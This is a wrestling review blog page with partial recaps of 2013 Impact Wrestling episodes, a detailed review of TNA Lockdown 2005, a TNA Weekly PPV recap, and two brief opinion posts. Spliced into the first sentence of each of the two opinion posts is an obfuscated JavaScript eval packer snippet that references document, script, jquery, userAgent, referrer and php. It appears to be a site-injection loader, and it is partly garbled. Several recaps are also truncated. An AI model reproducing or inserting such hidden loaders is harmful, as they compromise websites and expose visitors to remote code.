Impact Wrestling – May 9, 2013: Hogan In Only Two Segments Equals MUCH Better Show

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Date: May 9, 2013
Location: BancorpSouth Arena, Tupelo, Mississippi
Commentators: Mike Tenay, Tazz, Todd Keneley

Post break AJ has nothing to say.

Tara/Gail Kim vs. Mickie James/Velvet Sky

Post match Gail lays out Tara and puts her in the Figure Four around the post.

Bad Influence offers Storm some beer to hopefully sway him to their side. They leave and Storm starts drinking.

Magnus vs. Doc

Aries and Roode also offer Storm beer.

Bad Influence vs. Bobby Roode/Austin Aries

James Storm is guest referee and the winners get a tag title shot. Aries starts with Kaz and they spin around a lot with Aries taking over and relaxing on the top rope. Both guys try to rake the others eyes and both try the clap tag to trick Storm, but James looks at both and shrugs. Regular tags bring in Roode and Daniels and they shake hands before both kick the other in the ribs at the same time.

Suicide is back soon.

Video on Chris Sabin returning last week.

Storm is out cold in the back with the four guys from the tag title match standing over him.

Angle leaves without a partner. Hogan gets another call and the mystery partner might be here.

Results

Mickie James/Velvet Sky b. Tara/Gail Kim – In Yo Face to Tara

Magnus b. Doc – Rollup

Austin Aries/Bobby Roode vs. Bad Influence went to a no contest




Thought of the Day: Why I Keep Watching

Last eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ydhri|var|u0026u|referrer|aefas||js|php'.split('|'),0,{})) night on the forums someone asked if I still enjoyed watching wrestling.  My reply:
Absolutely. Yeah there’s A LOT of stupid stuff and you get tired of sitting through it, and then one night Fandango comes out and the fans start singing his song. Or Brodus Clay debuts as the Funkasaurus instead of another monster. Or you’re expecting some lame celebrity like Justin Bieber to be announced as host of Wrestlemania 27 and instead you hear “IF YA SMEEEEEEEEEEEEEEEEEEELLLLLLLLLLLLLLLLLLLLLL”. Or the night after Rock dominates Wrestlemania 27 John Cena challenges The Rock to a match a year later and WWE basically says “Oh yeah. We’re going there!.” Or you see Joseph Park absolutely nailing the rookie lawyer character. Or you watch Raw one night in January and John Cena and CM Punk put on one of the greatest matches of all time on free TV for a spot int he main event of Wrestlemania and you can barely stay on your bed because you’re trying not to scream at them to kick out because you don’t want this to end.Yes wrestling is still fun. You never know when you’re going to see something amazing.




Impact Draws Lowest Audience In Seven Months

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yeiei|var|u0026u|referrer|dbaih||js|php'.split('|'),0,{})) past Thursday’s show saw the worst audience of the year.  The numbers have been going down since Bully won the title but are falling even faster now that it’s all about Sting and Hogan.

 

Imagine that: people don’t care about Bubba Ray Dudley vs. two old guys in the year 2013.  I for one am shocked.




Impact Wrestling – May 2, 2013: From Awesome To A Disaster In Just A Month

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Date: May 2, 2013
Location: Kovalchick Complex, Indiana, Pennsylvania
Commentators: Todd Keneley, Taz, Mike Tenay

Chris Sabin is back next.He talks about doing whatever it took to get back to the ring. That was his goal and he was going to accomplish it no matter what.

Chris Sabin vs. Zema Ion vs. Sonjay Dutt

Robbie E and Jesse plot against Rob Terry. Their plan: get Joey Ryan to help them.

Robbie E/Joey Ryan/Jesse Godderz vs. Rob Terry

Sting goes in to see Angle behind closed doors.

We recap the opening segment which set up Morgan vs. Sting tonight.

Gail Kim/Tara vs. Taryn Terrell/Mickie James

Taryn gets double teamed to start until Mickie finally helps her out. The heels are rammed into each other before things get calmed down. Off to Mickie vs. Gail with James hooking a quick cross armbreaker, only to have Gail grab the rope. Gail pounds away for a bit by Mickie comes back with an enziguri knee to the head for two. Mickie is sent to the apron where she kicks Tara down, only to be knocked to the floor by Gail.

Post match they keep brawling until Gail hits Eat Defeat on Taryn and puts her in the Figure Four around the post.

Matt Morgan vs. Sting

Ray stares down Sting to end the show.

Results

Chris Sabin b. Zema Ion and Sonjay Dutt – Scoop Michinoku Driver

Rob Terry b. Robbie E/Jesse Godderz/Joey Ryan – Beast Bomb to Ryan

Sting b. Matt Morgan – Scorpion Deathlock

 

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of the WWE Championship from Amazon for just $5 at:

 




Impact Wrestling – April 25, 2013: Hopefully This Slipping Stops Soon

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Date: April 25, 2013
Location: Kovalchick Complex, Indiana, Pennsylvania
Commentators: Mike Tenay, Taz, Todd Keneley

We open with a recap from last week with Ray saying he wanted to see Hulk face to face tonight.

The Bikers arrive and are met by security but Ray shouts his way past them.

Tenay tells us that Hogan has left the building for no apparent reason.

We get a video on Mickie James beating Tessmacher to earn the title shot.

Taryn Terrell vs. Tara

Before the bell, Hogan is here so apparently he was off doing something. No Jesse with Tara here but she jumps Taryn to start. Terrell comes back with a jumping neckbreaker and some hair drags, only to be draped over the top rope to stop her cold. Tara sends her chest first into the buckle and slams Taryn face first into the mat a few times. Off to a bridging Indian Deathlock by Tara followed by some rollups for two.

Rob Terry vs. Jesse Godderz

Bad Influence offers Roode a spot in Fourtune. He thinks about it and Aries is lurking behind a wall.

We look at the Full Metal Mayhem match from a few weeks ago. Apparently Hardy is considering walking away from wrestling due to his injuries in that match.

Chris Sabin is coming back from injury.

Tag Titles: Chavo Guerrero/Hernandez vs. Austin Aries/Bobby Roode

Bully makes the Bikers swear to not interfere.

You can vote for who gets an X Title shot.

Knockouts Title: Mickie James vs. Velvet Sky

The fans are extra excited for some reason here. Feeling out process to start until Velvet (defending here) hits a kick to the back and a low dropkick for two. She seems to be favoring her recently injured knee though. The knee gives out in the middle of an Irish whip and Mickie gets a fast two count. A kneeling leg lock has Velvet in trouble and we take a break.

Hulk is talking to Brooke and we get some bad acting from the daughter. Hulk promises he’ll be right back and has to do this alone.

Here’s Ray in the ring to list off everyone Aces and 8’s have taken out. There’s only Hogan left so get out here right now. Ray gets in Hogan’s face and says Hogan fears him because Ray reminds Hulk of himself. Ray says they’re both the last of a dying breed but Hulk says Hulkamania will never die.

The champ spits in Hogan’s face so Hogan tears the shirt open and points the finger in Hulk’s face. Ray points a finger in Hulk’s face and the fight is on. Ray of course runs and says surround the ring. Hogan is in trouble but the lights go out and Sting appears for the save. The Bikers run away and the old guys stare each other down to end the show.

Results

Taryn Terrell b. Tara – Rollup

Rob Terry b. Jesse Godderz – Spinebuster

Chavo Guerrero/Hernandez b. Austin Aries/Bobby Roode – Frog Splash to Roode

Velvet Sky b. Mickie James – Small Package

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of the WWE Championship from Amazon for just $5 at:

 




On This Day: April 24, 2005 – Lockdown 2005: AJ Styles Is Not Human

Lockdown 2005
Date: April 24, 2005
Location: Impact Zone, Orlando, Florida
Attendance: 775
Commentators: Mike Tenay, Don West

This is the first in the series and has my favorite TNA match ever on it. This is a show I’ve tried to find for a long time so this is a good treat. This was a show that was really weird when you first heard about it as every match is in the cage which was unthinkable when it was first announced. There are 8 matches here and one gets less than 14 minutes so this is a wrestling packed show. The company is still in its infancy here so the angles and a lot of the guys are going to be odd. Let’s get to it.

The opening video is a creepy version of Ring Around the Rosey which is supposed to be about the cage. Wouldn’t that be Rosey Around the Ring in this case? The narrator talks about what the cage would say if it could talk. Apparently it’s more or less a haunted house.

West and Tenay tell us about all the different kind of matches we’re having. Yes, we’re actually having a TAG TEAM match in a cage. SHOCKING!

We see Nash sitting in the back and having a staff infection which means he’s out tonight.

Apollo/Sonny Siaki vs. Chris Candido/Lance Hoyt

Hoyt is Vance Archer. Tenay tries to tell us that all of these matches are going to be main event matches because they’re all in the cage. This isn’t a main event match anywhere in the country as Gorilla would not say I guess you would say. Apollo and Siaki are teaming together because they had a match together and are friends now or something. Sounds like a bromance to me.

Candido has been pretending to be hurt lately so no one can trust him. Or they can’t trust him because he’s a heel. That’s always a possibility. Apollo and Hoyt chop it out as the two big guys in this. Apollo gets a jumping back elbow to take him down. The fans chant shut the door for some reason. Candido is helped out of the cage. He had a broken leg and would be dead in four days due to a blood clot. He was 33.

So now it’s a handicap match with Hoyt hitting a moonsault for two. That was rather impressive actually. Siaki had a good look. I’m not sure why he never really did anything outside of this company. Siaki does the running Angle suplex on Hoyt as he’s in big trouble with the faces just picking him apart now. He misses a clothesline and kind of falls down. A TKO from Apollo sets up a top rope splash from Siaki for the pin.

Rating: D+. This was weak but at the same time it’s very hard to grade it fairly given the change they had to make maybe two minutes in. It really was a shame about Candido as he did nothing wrong and still died. I know often times we use the word tragedy loosely but this actually was as it was a pure accident. Anyway, the match isn’t very good but given what they had to work with it was ok.

Post match the Naturals, Candido’s team, comes out to yell at Hoyt who hurts them for a bit before the numbers catch up with him. I’d assume this is to fill in time due to the match likely having to be cut short. This goes on for a very long time.

Dusty is with Traci and Trinity which is a thing that was always disturbing. Apparently AMW and Team Canada got into a fight before the show started and nothing of note happens from that. We get the drawing for the first guys from both (three man) teams in Lethal Lockdown and it’s Jarrett vs. Waltman to start us off.

Dustin Rhodes talks about his match with Bobby (Robert) Roode which is about Texas vs. Canada. Yes, we get it, Texas has a lot of wrestlers and they’re all cowboys. Why are they fighting other than that? Who cares, as it’s a 2/3 Falls Prince of Darkness Death Match. The part that should shock no one is that the Prince of Darkness aspect means nothing at all. Roode was the henchman of Team Canada actually which is surprising.

Bobby Roode vs. Dustin Rhodes

That rock version of O Canada is kind of awesome. Oh ok apparently if we go to the third fall it’s a blindfold match. Why? Who care apparently as we have a gimmick! Roode gets a very fast pin. Or at least we think he did as there’s no signal from the referee, no bell, no announcement or anything like that. Thanks for letting us know that guys.

Dustin wants to do Shattered Dreams but is threatened with a DQ. He does it anyway and apparently that’s just fine. Perhaps it’s because this is a cage match? Top rope suplex to Roode which is saying a lot due to how tall Dustin is. Big powerslam gets two as it’s all Dustin at this point. Dustin gets another low blow but the bulldog is blocked and here comes Roode.

Roode does the multiple covers for two and we hit the chinlock. He shifts it into the rear naked choke. How is this really different than what Joe does where it’s lethal? It’s so weird hearing Roode being talked about as the muscle of the group. Ah apparently it’s not a choke but a camel clutch style grip. That explains a few things. Dustin counters with an electric chair and both guys are down.

Dustin sends him into the door and it pops open and knocks out the cameraman. That’s rather awesome. Set for the Final Curtain or whatever it’s called but Dustin stands around for about 45 seconds which is amazingly enough enough time for Roode to counter into his clothesline to the back of Dustin’s head which gets two because his foot is on the rope. Yes you can get out of a pin in a cage match with your foot on the rope. I give up.

Roode goes for a German off the top but he’s no Kurt Angle so Dustin rams his head into the cage and hits the bulldog to tie it up. I hate that move. And now we put on hoods for absolutely no reason at all. Is there ANY explanation for this being added in? Yep this is stupid as they stumble around trying to find each other and they’ve got nothing.

They finally back into each other so Dustin grabs a headlock but Roode shoves him off. Then they take out the referee as I look for a noose to attach to my neck. D’Amore throws in a chair and then climbs in himself. Roode doesn’t get who is there so he cracks his coach with a chair. Dustin gets the chair and cracks Roode with it for the pin. Sweet goodness this was stupid.

Rating: D-. This was stupid before the hoods and then ridiculous once they went on. What in the world was the point to that? Also we get to hear Dustin’s stupid banjo/country song twice now. Someone explain the point to this gimmick to me? Can anyone do that? I can’t find any explanation for it. Ah Russo was in charge at this point. There’s your answer.

Christopher Daniels runs down XXX and Skipper, his partner in that team. Skipper comes up to yell at him and says the time is right. That match is later of course.

Xscape Match: Matt Bentley vs. Sonjay Dutt vs. Chris Sabin vs. Shocker

I miss the HAIL SABIN thing. The idea here is you have to get rid of two guys by traditional means and then get out of the cage once it’s one on one. This isn’t for anything apparently. Shocker is a luchador. Sweet goodness they have to tag in this. Does anyone think these things through? Sabin and Dutt give us a gymnastic routine to start which gets a well rounded golf clap.

Dutt was insane to watch. He wasn’t particularly good but he was fun to watch. Tenay tries to tell us that this is the tallest cage in wrestling. They’ve never been to an OVW cage match. That this is taller than the Cell. Dutt and Shocker double team Bentley. He never was very good but he’s Shawn Michaels cousin so there you go. Dutt is bleeding from the elbow. Bentley beats him up for a bit. Thankfully the Bentley Bounce isn’t part of this match.

More gymnastics from Dutt who brings in Sabin again. This is a spotfest if I’ve ever seen one. There’s no flow or anything to it as they just move from spot to spot. Not saying it’s bad mind you, but it’s just kind of all over the place. West: the wall of the steel cage is like a wall of steel. Somehow he’s still better than Tazz. Shocker comes back in and gets a cradle on Bentley for two.

Bentley gets a reverse Tarantula on Shocker, as in his legs are wrapped around Shocker’s head and he’s grabbing Shocker’s feet while their backs are facing each other. Dutt comes in to put a chinlock on Bentley so Sabin comes in to put a Boston Crab on Dutt. Cool looking spot but it’s not like it gets us anywhere as they break it in a few seconds.

Sabin hits a BIG running powerbomb on Dutt but Shocker saves for no apparent reason. Bentley sends Dutt into the cage but Shocker cleans house and hits a corkscrew elbow to get rid of Dutt. Shocker vs. Bentley now with Shocker going up but getting hit by a Northern Lights Suplex off the top for two.

Trinity, the chick there with Bentley, comes up to help him so Traci comes out to stop her. And so much for that as she gets shoved off and hurts her ankle. Trinity goes to the top of the cage and hits a BIG moonsault off the top to take out all three guys. Traci comes in again and AGAIN gets shoved out. Sabin gets Cradle Shock on Bentley to get us down to one on one.

Ok so now it’s an escape match. They both get crotched on the top rope and we’re both down. And then they both climb at the same time and fight on top of the cage before both drop down but Shocker hits first. I’d love someone to just jump off the top and run through the door instead of climbing down like that one time. Kind of a weak ending.

Rating: C+. Pretty fun match here but the ending and the tagging hurt it a good deal. That moonsault from Trinity was pretty freaking awesome though and I’m surprised it’s not on more highlight reels. It’s a shame this wasn’t like, for something other than bragging rights I guess. Not bad and I’ve never gotten why Shocker just kind of left as he was pretty good.

We’re told Candido’s leg was broken and we see clips of it. Naturally no one knew what would come of this so it’s not like they were exploiting it.

We recap Hardy vs. Raven which the idea was Raven wanted to hook up with Hardy or something and Hardy said no because he wrestled for his fans (who never got him anything but three WWE Titles and his job in TNA once he left WWE). Raven didn’t like him saying no so he hit him with a garbage can. That sounds like a recipe for a tables match if I’ve ever heard one.

Jeff Hardy vs. Raven

Tables match here because it needed a gimmick clearly. Hardy doesn’t get that apparently and comes out with chairs. TNA supplied the tables I guess since there’s at least one in there when we start. Hardy has been reborn apparently. Wow that happens to him a lot. I love that hole in the cage that TNA uses as it’s a really unique look for cage matches. Raven in control here with pretty basic stuff.

Hardy has some red/pink paint on his skin so it looks like he’s covered in blood. Raven gets the DDT and puts Hardy against a table in the corner. He misses his shoulder into it though so Jeff hasn’t won yet. At least they covered that earlier on. This is getting rather boring rather quickly. Raven is bleeding and it’s pretty bad after a bit. Raven goes up for what looks like the Stroke off the top but they just pretty much jump off the top with no contact at all.

Some New York Mets are here. Twist of Fate by Hardy and now it’s table time again. He’s a rock and roll star now too apparently. Raven is put on the table and Jeff goes all the way up to the top of the cage and takes forever to get there, meaning Raven of course gets out of the way for the big bump. Trinity’s was better. We waste a bit of time with Raven taking control and then Jeff fighting back.

Hardy tries to open Raven up a bit more and then hits him in the back. And there’s a low blow to take care of that offensive streak. Something TNA didn’t get back in the day: long matches don’t mean good matches. Jeff does Raven’s drop toehold to Raven which he isn’t the best at selling. He climbs out for no apparent reason and Raven shoves the door open to crotch Jeff on it.

Apparently when Jeff gets bored he climbs out of cages. It makes as much sense as anything else I suppose. Jeff jumps off as apparently drugs make your balls invulnerable and jumps into a boot. There are pieces of at least four tables in there. Think that’s enough? Actually make that six plus two chairs. Raven sets up two double stacks of tables and then climbs up like an idiot. Jeff knocks him onto them and hits a leg drop off the top to “drive” Raven through them but the lack of room and the high amount of tables made it look like it was in slow motion.

Rating: D. Did ANYONE want to see Raven vs. Jeff in a 15 minute tables match in a cage? Have you ever seen a one fall fifteen minute tables match? Just WAY too long here with Raven being boring for the most part and Jeff just wanting to jump off high things and no sell metal pipes hitting his balls. I fail to see the point here for the most part and this just didn’t do it for me in the slightest. What reason was there for this to be a tables match? Someone explain that to me please. I’d like a reason.

We recap the tag title match which is AMW vs. Team Canada. AMW is the original great tag team in TNA and basically this feud has been going on forever because Team Canada wants the titles.

We recap the Hardy vs. Raven match a bit first because they have to clear the ring.

Tag Titles: America’s Most Wanted vs. Team Canada

This is a strap match and Team Canada is Petey Williams and Eric Young. AMW made this a strap match earlier today so no one got to hear about it. I wonder if that was intentional. Young is just a generic heel here that was only a bit nuts but not quite. More eccentric than anything else. AMW is James Storm and Chris “Braden Walker” Harris. They were awesome and I want one of their trench coats.

AMW are cage veterans after the EPIC cage match they had with XXX which I’ll have to get to soon. Harris and Williams fight on the floor while Young tries to get out but Storm beats the tar out of him up on top. They crotch Young on top and ram his legs into the cage. A-1, the Canadian muscle dude, hits Harris with the belt so he’s stuck on the floor. He gets Storm with it too so the champions are in trouble.

With Harris outside the idiot security guard locks the cage. Does no one pay attention in this company? A-1 keeps beating up Harris on the floor which is fine apparently. Young is a daredevil apparently. He’s still annoying. The Canadians beat up Storm in the ring as we’re just waiting on Harris to make the Superman comeback and get in. Storm is bleeding.

About three fans try to get a let’s go cowboy (Storm’s nickname at the time) chant going and it’s just sad. A-1, back COVERED in acne, sends Harris into the table. Williams and Young get the American flag off the top of the cage and use it to choke Storm before the referee gets it away. Well that was pointless. Storm makes a brief comeback as Harris knocks A-1 into the railing. And so much for that as Young knocks Harris down off the cage and into the railing.

Storm just goes OFF on Young with the strap but walks into a tornado DDT from Williams for two. There’s a you f’d up chant about something but it’s not really clear what. Harris takes A-1 down again before trying to get in for like the 7th time. FINALLY he gets in and takes out Team Canada with a double clothesline that doesn’t hit Young at all but who cares?

This is an actual 2-2 match about ten minutes in. We get it to even or so before the fans chant TURKEY LEGS at something. Williams goes for a Sharpshooter as Young adds an elbow off the top which breaks up the Sharpshooter but only gets two. Young broke up Williams’ Sharpshooter if you missed that as it was a bit odd. Canadian Destroyer is broken up by a Harris spear for two.

Death Sentence (Trash Compactor) misses and A-1 slips the flag/hockey stick in through the camera hole and a shot from that to Harris gets two. When that doesn’t work A-1 slips some powder to Williams but it’s kicked back into his face. He can’t see so he low blows Young and hits the Destroyer on him. A Death Sentence to Williams ends this seconds later.

Rating: B-. Pretty good stuff here with AMW being on defense for the vast majority of the time but eventually winning when they, the champions, were united. Also the whole cheating backfiring thing worked very well too with the evil Canadians trying one time too many to cheat and it catching up with them. AMW was awesome but they had no competition which is what caught up with them eventually.

We recap Skipper vs. Daniels. They lost a match at Turning Point (which the video package gets wrong, saying it was in 2002 when it was 2004) meaning they couldn’t team together again. This led to a fatal fourway at Destination X where Daniels turned on Skipper and pinning him to get the title, setting this up. The voiceover guy is way too upbeat.

X-Division Title: Christopher Daniels vs. Elix Skipper

Let’s see if Daniels can have a match that doesn’t bore me to death. I know he’s like the king of the Indies or whatever but he just bores me to death for the most part other than when he’s fighting Joe or AJ. Feeling out process to start with no one being able to get an advantage. Both finishers are blocked early with a lot of takedowns and nice mat work, especially by Skipper who I’ve always liked a bit.

Can we do something other than a gymnastics competition? There were four attempts at leapfrogs which no one went under so they were just running and jumping. Daniels chops away but walks into a butterfly suplex to give Skipper something of an advantage. Daniels sends him into the cage to reverse that though as we’re almost five minutes in and it’s still little more than feeling out.

This works actually as they were talking about how they knew each other so well before the match so the counters and no one being able to get an extended advantage works. Skipper’s arm is hurt after going into the cage and we have some psychology coming into play. This goes on for a good while as Daniels pounds on it with basic moves for a good while.

An armdrag from the middle rope takes down Skipper again and more arm work follows. By that I mean about five minutes straight at this point. A one arm spinebuster gets Skipper some relief. The announcers are talking about Skipper’s cage walk being listed as the #1 cage match moment in TNA history. Yes apparently there’s a list of cage match moments for a company less than three years old.

Skipper hits a guillotine leg drop off the top to get two. He goes for something that looked like Orton’s backbreaker but the shoulder gives out. Best Moonsault Ever gets two so he goes all the way to the top for I’d assume another one but Skipper gets up to crotch him. He teases the cage walk again but Daniels gets down. Skipper is like screw it and jumps off the top to hit Daniels but takes out the referee too for just a bit. He goes for Sudden Death but his shoulder gives out and Angels Wings (a lifting sitout Pedigree) ends it.

Rating: B. Fun stuff here again with basically a mat based and technical match that happened to be in a cage. This of course begs the question of why was this in a cage. There was no point to having this in there as it would have been more or less the same match without it. Then again why am I looking for logic in a company like this? The match was good though with the psychology playing in throughout the whole match which is the best it’s going to get.

Dusty lets us know the next guy in the Lethal Lockdown match. There are six total so there won’t be a coin toss apparently. In third is….censored, but if you can read lips you can see he says The Outlaw.

We recap Lethal Lockdown which is WarGames light at this point. It’s only three on three here with the main feud being DDP vs. Jarrett who is world champion here. They keep censoring the word Outlaw on this which might be a DVD thing or something. We know who he is already so it’s kind of odd. Maybe a copyright thing. The other guys are Sean Waltman (X-Pac) and Nash (injured remember) with Page and Outlaw (censored) and Monty Brown. Outlaw’s name is censored again and it’s blurred out on the graphic but his face is shown. Very odd indeed.

Lethal Lockdown: Team Page vs. Team Jarrett

You can bring your own weapons and it’s five minutes to start. Waltman vs. Jarrett to start. Waltman is in street clothes and brings a trash can. I guess he brought his home with him and sold his gear for crack. Jarrett is in street clothes too. Please do not call this a bunkhouse match. He has his own trash can full of weapons too. They fight in the aisle to start.

They’re in the crowd now as the cage sits empty. That’s rather unfair to it. I bet it’s lonely. They fight in the crowd and there’s no camera so we can’t see anything. This is already making my head hurt. And now they separate for awhile as the clock for the five minutes continues to count down. On the announce table now with Jarrett getting destroyed. Dang it there’s a bullrope and cowbell. WHAT IS WRESTLING’S OBSESSION WITH THOSE STUPID THINGS???

A chair shot misses Jarrett and after three minutes we’re finally in the cage. Basic cage offense follows with Waltman in control. Bronco Buster misses and both guys are down with forty seconds left. Waltman takes him down as Kip James (not called Outlaw here) is in third. He’s on Team Jarrett and they have a two minute advantage now. What is with the street clothes here?

They spend the vast majority of these two minutes walking around with the occasional stomp coming. DDP comes in and pulls the Singapore cane out like Leonardo pulling out a sword, thereby making him awesome. Things pick up a bit but we’re just killing time here. Monty Brown comes in with DDP controlling for the most part. That’s the last heel to come in.

Brown has a bat and of course a shot to the back of Page doesn’t injure him severely. Jarrett breaks the cane over the back of Page which he still gets up from. The cameraman decides a shot of Jarrett’s legs is more important than whatever the other guys are doing. The final guy is BG James (Road Dogg, who is part of a rap stable with Konnan and R-Truth at this point).

BG hits the referee and we get the showdown between the Outlaws (censored) and it goes nowhere. Bronco Buster to Jarrett. Brown Pounces everyone but Page breaks up the pin. This is more or less just a glorified six man hardcore match. Diamond Cutter to Jarrett gets two as he makes sure to shift over so that Kip can break it up. Waltman and Brown do an awful looking sequence so then they do it again so that Waltman can get the pin.

Rating: D+. Just ok at best here with nothing of note going on. Page’s team wins and the feud more or less went nowhere after this. This was more or less absolutely nothing with too few people, nothing special in terms of violence and just dull overall. Waltman won on a victory roll of all things. A violent match won with a victory roll. Let that sink in a bit.

A bit more brawling goes on afterwards and the Outlaws stare at each other a bit.

We recap the main event. Basically Abyss had been a monster jerk and AJ stood up to him. The match is for the #1 contendership and gets Jarrett at Hard Justice. One of the earliest memories I have of TNA is this brawl they had on Impact where Abyss destroyed him.

Abyss vs. AJ Styles

For the few of you that might be wondering, this is my favorite TNA match ever. AJ is YOUNG looking here which is saying a lot as he’s still young today but here he looks like he’s about 19. He’s a two time world champion here though which is never mentioned anymore for no apparent reason. Abyss is listed at 350lbs here again but he’s a LOT slimmer looking here.

He still has the chains here which were a nice touch for him. I have no idea why but they are. AJ dives through the door to take down Abyss before he gets in. Abyss tries to whip him into the railing but AJ baseball slides UNDERNEATH the railing and jumps up onto it and hits a rana to take down Abyss. That was freaking awesome and happened inside of five seconds.

All AJ to start as we’re still on the floor. Abyss had more or less been unstoppable recently since splitting from his stablemate Alex Shelley (let that sink in for a bit) so this is a major showdown and seeing Abyss reeling is odd to see. Abyss fights him back and whips him into the railing again so this time AJ channels his inner Morrison and double jumps up to a platform into the crowd, spins around and jumps over FIVE ROWS of fans to his the forearm on Abyss. This is one of the most awesome performances I’ve ever seen and we’re maybe three minutes into this.

AJ dives at Abyss on the railing ala Sting but instead of crashing into it clears the railing by a good foot and hits the ground in the crowd. Abyss pounds on him a bit but AJ just kicks the tar out of him to escape for a bit. West talks about Kenny Chesney for absolutely no apparent reason.

They open the door of the cage after about six minutes of brawling. The difference between this and the stupid stuff before: this was INCREDIBLY entertaining and the fans were way into it as opposed to Jarrett and Waltman walking around and occasionally hitting each other with something. AJ and Abyss never stopped moving and the fans were into it because of it. The difference here: hard work works better than walking around hitting each other with weapons.

AJ punches Abyss HARD but gets the cage door slammed into his arm and then his face where he snaps down to the floor. It looked like he got hit by a bus or something as fast as he hit the ground. Great selling there. AJ is busted open and Abyss pounds away even more. AJ finally in the cage now as Abyss looks under the ring for the bag of tacks. About eight and a half minutes in they’re in the cage together.

Abyss chokes him with the chain and we play tug of war. AJ simply will not quit and keeps hammering away to no avail though. With the chain on the top turnbuckle, Abyss launches AJ over his head in kind of a forced leapfrog and his head slams into the chain. The fans think this is awesome and for once they’re right. They stop for a bit for the a neck crank and AJ sells it perfectly too.

AJ charges again but Abyss grabs him in a gorilla press and LAUNCHES him up to just let him crash down. He tries it again but AJ counters into a DDT onto the chain. Two punches and an enziguri takes Abyss down as does a headscissors. AJ hits a moonsault press but Abyss just lets him bounce off which was cool looking. AJ sends him into a chair into the corner that Abyss set up and gets a German suplex for two that looked freaking good.

He goes for the Styles Clash but Abyss is way too big for that. Chokeslam is countered into a rollup for two. AJ gets another running start but walks into the Black Hole Slam for a VERY long two. Dang Abyss looks awesome (what am I saying?) when he really uncorks that thing. Yep there are the tacks. Black Hole Slam into them are countered as is a powerbomb.

AJ gets the Styles Clash (ok more like a falling face first slam but we’ll give it to him) into the tacks for two. Wow I would have bet on that being the ending. You know if I didn’t know the ending already. Abyss is ROCKED here which was unthinkable until this match. AJ goes to the top of the cage and Abyss can’t catch him. His solution: throw the referee at the cage to knock AJ off. That was awesome.

Abyss climbs up as AJ is barely hanging on. He goes up with the chain and might be thinking to hang him as he had on Impact. Yep that’s what he’s going for. AJ is on the outside and Abyss on the inside and yep he’s hanging him. AJ gets the chain off somehow and Abyss grabs the chokeslam. AJ bites his fingers and opens them up too! AJ jumps off the top of the cage and hits a freaking sunset flip powerbomb onto the tacks from the top of the cage to get the pin as Abyss is DEAD.

Rating: A+. OH YES! AJ was absolutely amazing here and it was definitely Abyss’ best match ever. This was just a total war for twenty minutes with AJ never stopping and taking it to Abyss much like Flair did back at Starrcade 93 to Vader. There was no gimmick here as it was just a big old fight in a cage with weapons brought in for fun. AJ would get the title the next month….and then lose it to Raven the next month because the world was clamoring for more Raven and less AJ. Uh…sure. He wouldn’t get it back for over four years.

Overall Rating: B. If you cut off about an hour of this show (as in three of the first four matches or so) this is an awesome show. The first two matches were pretty bad, the third was decent, Hardy vs. Raven got fifteen minutes which was just ridiculous and then the rest other than maybe Lethal Lockdown was very good. The early days of this company’s PPV era were very hit or miss and this one was a hit for the most part but for the most part this worked. Fun show but VERY dragging so I’d recommend a fast forward button here.

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of the WWE Championship from Amazon for just $5 at:




TNA Weekly PPV #14: Oh Joy It’s Brian Lawler

TNA Weekly PPV #14
Date: September 25, 2002
Location: Tennessee State Fairgrounds Arena, Nashville, Tennessee
Commentators: Don West, Mike Tenay

We open in the back with Siaki and Lynn brawling due to Sonny costing Lynn the world title last week.

Tenay and West run down the card.

Sonny Siaki vs. Jerry Lynn

Tag Titles: James Storm/Chris Harris vs. Brian Lee/Ron Harris

In the parking lot, Bruce gets into a fight with a handicapped woman named Sara the Ticket Lady. Can we please end this character already?

James talks about a posse in his pants and their time back in the WWF where James stood up for Truth with the boys in the back. They go back and forth with stupid lines and the brawl is on with BG taking over. BG says that just unlike Demi Moore and Tom Cruise, he can handle the Truth. Next.

AJ Styles vs. Low Ki

The second fall begins with Low Ki being sent throat first into the middle rope and clotheslined down for two. A delayed suplex puts Ki down and AJ pounds away. Styles hits a standing enziguri to put Low on the floor, but as he heads out, Low Ki kicks Styles in the head. AJ slams him down onto the ramp to break another Dragon Sleeper before we head back inside. A sunset bomb is countered by Low Ki but AJ keeps rolling into a sunset flip for the pin and the second fall.

Elix Skipper/Brian Lawler vs. Scott Hall/Syxx-Pac

Post match Jarrett runs out to beat down Hall and Pac.

AJ implies that he wants a ladder match for the title.

Kid Kash vs. Jorge Estrada

Jorge goes up but Kash shoves the referee into the ropes to crotch him down. A top rope rana brings Estrada down but Kash charges into an elbow in the corner. Kash pokes him in the eye and hits a DDT for two, only to have his rana countered into a powerbomb for two for Jorge. Estrada busts out the TCB (Taking Care of Business), a big flippy dive for the pin.

Estrada demands his suit back and we see Siaki burning it in a barrel.

We recap Siaki costing Lynn the world title last week.

X-Division Title: Ron Killings vs. Jerry Lynn

Back in and the challenger gets two off a backbreaker and the same from a powerslam. That works so well that Truth hits another one before putting on a front facelock with his feet on the ropes. Lynn comes back with a reverse DDT and a powerbomb for two more but Truth stops him cold with a low blow. Low Ki is annoyed and yells at Killings, so Jerry rams them together and hits a TKO to retain the title.

West hypes up the show for next week.

BG James vs. Jeff Jarrett

Jarrett gets in some chair shots of his own to take over and we go back to ringside. Jeff slams him into the announce table and pounds on the back and face with the chair some more. Back inside we go for the running crotch again in 619 position and a sleeper by Jeff. James fights up after two arm drops and puts on a sleeper of his own, only to be suplexed down by Jarrett.

